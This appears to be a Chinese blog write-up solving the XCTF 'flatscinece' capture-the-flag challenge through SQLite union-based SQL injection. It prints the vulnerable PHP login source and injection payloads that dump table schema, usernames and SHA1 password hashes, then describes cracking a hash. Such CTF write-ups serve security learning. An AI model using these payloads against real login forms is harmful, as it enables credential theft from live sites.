攻防世界flatscinece

攻防世界flatscinece题解

目录扫描发现
在这里插入图片描述

login.php处发现sql注入是sqlite数据库的注入,这方面的注入我不是太熟,趁这次机会也学点东西,做点笔记

脑洞很大的一道题,可能是因为我英文不好
在这里插入图片描述

网上的题解说这里有提示将?debug加在login.php后面,login.php?debug这样

在这里插入图片描述

然后就得到了源代码

之前我尝试手工sqlite注入时出现了一些问题,应该在这里可以找到答案,而且在查询列名和数据库版本时会有跳转,不知道什么原因

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

查看源码可以发现把查询结果放在了cookie值里

通过下面的语句查询

sqlite_master是类似于mysql的information_schema的一张表

1’ union select name,sql from sqlite_master

sqlite_master里面包含了数据库的元信息

在这里插入图片描述

在这里插入图片描述

发送之后得到

CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29

解码一下

CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))
rimary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

这个应该是表里存储的创建表的语句
可以发现在users表里有四个列id name password hint

尝试读取一下因为列里面肯定有多个数据,所以使用group_concat,聚合成一行读出来

查id

-1' union select 1,group_concat(id) from Users;

返回

1,2,3

查name

-1' union select 1,group_concat(name) from Users;

返回

admin,fritze,hansi

查password

-1' union select 1,group_concat(password) from Users;

返回

3fab54a50e770d830c0416df817567662a9dc85c,54eae8935c90f467427f05e4ece82cf569f89507,34b0bb7c304949f9ff2fc101eef0f048be10d3bd

从上面的源码看出来这是经过sha1加密后的字符串

查hint

-1' union select 1,group_concat(hint) from Users;

返回

my+fav+word+in+my+fav+paper?!,my+love+is…?,the+password+is+password

不管这个奇怪的hint了

这里可以找一个python脚本去解密那个哈希值但我直接去MD5解密网站尝试一下
在这里插入图片描述
哈,笑死了admin.php登录,就可以拿flag了
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值